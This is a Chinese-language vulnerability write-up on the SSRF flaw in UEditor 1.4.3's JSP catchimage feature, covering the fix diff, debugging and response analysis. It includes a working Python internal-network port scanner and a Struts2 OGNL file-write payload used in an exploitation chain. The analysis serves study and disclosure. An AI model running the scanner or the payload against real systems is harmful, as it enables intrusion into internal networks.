作者: 浮萍@獵戶安全實驗室
公眾號:獵戶安全實驗室

前些時間測試的時候遇到了一個系統采用了UEditor編輯器,版本為1.4.3。已知該編輯器v1.4.3版本存在SSRF漏洞,雖然是Bool型的SSRF,除了可以進行內網探測外,也可以根據web應用指紋信息,之后進行進一步的測試。

0x01 前言

查看官方的更新日志可以發現UEditor編輯器在版本1.4.3.1修復了SSRF漏洞。

那版本1.4.3應該存在SSRF漏洞,本著能搜索就不動手的原則搜了一下,發現wooyun-2015-0133125中提到過這類的漏洞。但我這里是jsp版本的,里面提到jsp版本不一樣,只好去分析一下漏洞產生的位置。

0x02 漏洞分析

那我們需要查看版本1.4.3與1.4.3.1有什么不同,從而找到存在問題的地方。該項目的代碼托管在Github上,地址為:https://github.com/fex-team/ueditor/

查看版本1.4.3.1下的jsp代碼.

可以發現在該版本有一次commit,commitId 為a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6。根據字面意思應該是增加了修復SSRF的代碼。

下載下來后對比一下v1.4.3.1和v1.4.3代碼有什么不同(這里僅對比jsp下的代碼)。

發現在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。

    privatebooleanvalidHost ( String hostname) {

   try {

        InetAddressip = InetAddress.getByName(hostname);//根據主機名獲取ip



        if (ip.isSiteLocalAddress()) {//是否為地區本地地址

            returnfalse;

        }

   } catch (UnknownHostExceptione) {

        returnfalse;

   }



   return !filters.contains( hostname );



}

新增了對ip地址是否為內部地址的判斷。而在v1.4.3中僅僅是做了是否為過濾的ip地址。

 privatebooleanvalidHost ( String hostname) {



   return !filters.contains( hostname );



}

isSiteLocalAddress方法作用是當IP地址是地區本地地址(SiteLocalAddress)時返回true,否則返回false。

IPv4的地址本地地址分為三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。

搜索后發現在captureRemoteData中調用了validHost方法。

根據代碼可以分析:首先使用validHost對url進行判斷,如果不合法,就提示“被阻止的遠程主機”;當滿足條件后會使用validContentState方法查看返回的狀態是否為200,若不為200,則提示“遠程連接出錯”;進而對后綴、文件大小進行判斷,都符合之后才進行圖片的保存。如果url無法訪問,則提示“抓取遠程圖片失敗”。

所以可以根據返回的內容,來推斷該url對應的主機是否可以訪問。由于在版本v1.4.3中沒有對請求的主機進行驗證,從而造成了SSRF漏洞。

繼續查看在capture方法中調用了captureRemoteData。

    publicStatecapture ( String[] list ){



   MultiStatestate = newMultiState( true );



   for ( String source : list ) {

        state.addState( captureRemoteData( source ));

   }



   return state;

在invoke中調用了capture.

    publicStringinvoke() {

   if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) {

          returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString();

     }



          ...



     Statestate = null;



     intactionCode = ActionMap.getType( this.actionType );



          ...



     switch ( actionCode ) {



          ...



          caseActionMap.CATCH_IMAGE:

              conf = configManager.getConfig(actionCode );

              String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );

              state = newImageHunter( conf ).capture( list );

              break;



          ...        

     }



     returnstate.toJSONString();



 }

當調用capture需要滿足條件為actionCode為ActionMap.CATCH_IMAGE,在ActionMap中value為ActionMap.CATCH_IMAGE對應的key為catchimage。所以當actionType值為catchimage,即action參數對應為catchimage時,才可能觸發SSRF漏洞。下面對漏洞進行驗證。

0x03 漏洞驗證

這里用的是v1.4.3 jsp版本,下載ueditor1_4_3-utf8-jsp.zip,之后進行配置(可以參考http://fex.baidu.com/ueditor/#server-jsp)。

功能實現的入口文件是jsp/controller.jsp。由上述分析可知需要滿足action參數為catchimage。

在case ActionMap.CATCH_IMAGE中下斷點,然后進行調試。

訪問鏈接http://localhost:8088/jsp/controller.jsp?action=catchimage

繼續運行發現list為空,然后就拋出了異常。

再次運行,查看list數據從何而來。

可以看出list的數據從瀏覽器source[]參數而來。這里source[]需要后綴為圖片格式,具體可以查看config.js中的catcherAllowFiles。

已知192.168.135.133開啟了tomcat服務,且端口為8080。我們這里訪問一張不存在的圖片,例如用UUID生成一張圖片的名稱。

構造請求鏈接:http://localhost:8088/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png

當進入validHost方法時,由于被訪問的主機地址不在過濾的范圍,所以返回true。

這里可以發現,僅僅對127.0.0.1、localhost和img.baidu.com進行了限制,當ip為本地地址時并沒有限制,從而可以進行內網探測。

而該圖片由于不存在,所以狀態碼為404,到此抓取圖片過程結束,并返回結果。

這里可以根據頁面返回的結果不同,來判斷該地址對應的主機端口是否開放。可以總結為以下幾點:

  1. 如果抓取不存在的圖片地址時,頁面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state為“遠程連接出錯”。

  2. 如果成功抓取到圖片,頁面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state為“SUCCESS”。

  3. 如果主機無法訪問,頁面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]},即state為“抓取遠程圖片失敗”。

由于除了在config.js中的catcherLocalDomain配置了過濾的地址外,沒有針對內部地址進行過濾,所以可以根據抓取遠程圖片返回結果的不同,來進行內網的探測。

0x04 代碼實現

由上述分析,根據返回包中的state進行判斷,當state為"遠程連接出錯"或者為“SUCCESS”時表示該主機存在,且對應的端口為開放狀態。

代碼如下:

__Date__="20180524"



'''

Usage:

   python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133

   python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24



Python version: 3.6.2

requirements:IPy==0.83



'''

import sys

import json

import requests

from IPy import IP



defcheck(url,ip,port):

   url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port)

   res = requests.get(url)

   result = res.text

   result = result.replace("list","\"list\"")

   res_json = json.loads(result)

   state = res_json['list'][0]['state']

   if state == '遠程連接出錯'or state == 'SUCCESS':

        print(ip,port,'is Open')



defmain(url,ip):



   ips = IP(ip)

   ports = [80,8080]

   for i in ips:

        for port in ports:

            check(url,i,port)

if__name__ == '__main__':

   url = sys.argv[1]

   ip = sys.argv[2]

   main(url,ip)

由于返回的結果為{"state": "SUCCESS", list: [{"state":"..."} ]}并不能直接用json來解析,需要將list替換為“list”后才可以作為json來解析。當然也可以直接使用burp來測試。

在實際測試中的測試結果如下:

0x05 綜合利用

對于這樣的Bool型SSRF ,頁面僅返回了狀態,而沒有更多別的信息,要想進一步利用,可以根據如下的思路:

內網探測->應用識別->攻擊Payload->查看結果

5.1 內網探測

首先進行內網探測,查看內網開放的主機和端口。這里以本地為例。

執行命令:

python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155

192.168.135.15580is Open



192.168.135.1558080is Open

發現端口80 和 8080 開放,然后進行應用的識別。

5.2 應用識別

80端口由于沒有可以識別的特征,所以未識別到應用的類型,而8080端口可以識別出來為tomcat服務器。

然后嘗試查看是否可能存在Struts2漏洞。

5.3 攻擊Payload

由于在抓取遠程圖片時,會請求給出的URL地址,所以可以利用Struts2漏洞在內網服務器(這里為192.168.135.155)上寫入一個后綴為圖片格式(如png、jpg)的文件(因為只能抓取圖片格式的文件,所以這里寫入了圖片后綴的文件),然后利用Ueditor抓取圖片的功能,將寫入的圖片文件抓取到ueditor服務器中,然后訪問圖片查看攻擊結果。

首先寫文件,這里利用Struts2漏洞在內網服務器web項目下寫入一個名字為b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,內容為Struts2_Test.png。

這里之所以寫入內容為Struts2_Test.png,是由于在抓取圖片時會判斷圖片鏈接的后綴是否為圖片格式。當然還有其他的寫法,例如

http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png也可以寫入。

然后再次利用Ueditor抓取遠程圖片的功能將寫入內網服務器的“圖片文件”抓取下來,查看其內容。

這里需要抓取的圖片地址為:http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png

由上圖可以看出,最后抓取的文件保存地址為:/ueditor/jsp/upload/image/20180525/1527181480175039672.png

5.4 查看結果

然后訪問http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png

查看是否攻擊成功。

表明攻擊成功。

0x06 總結

由于UEditor在v1.4.3之前沒有加入對內部IP的限制,所以在使用抓取圖片的功能時,造成SSRF漏洞。可以進行內網服務器的探測。然后根據內網服務器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判斷其使用的組件,并猜測可能存在的漏洞,然后進行進一步的滲透。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/606/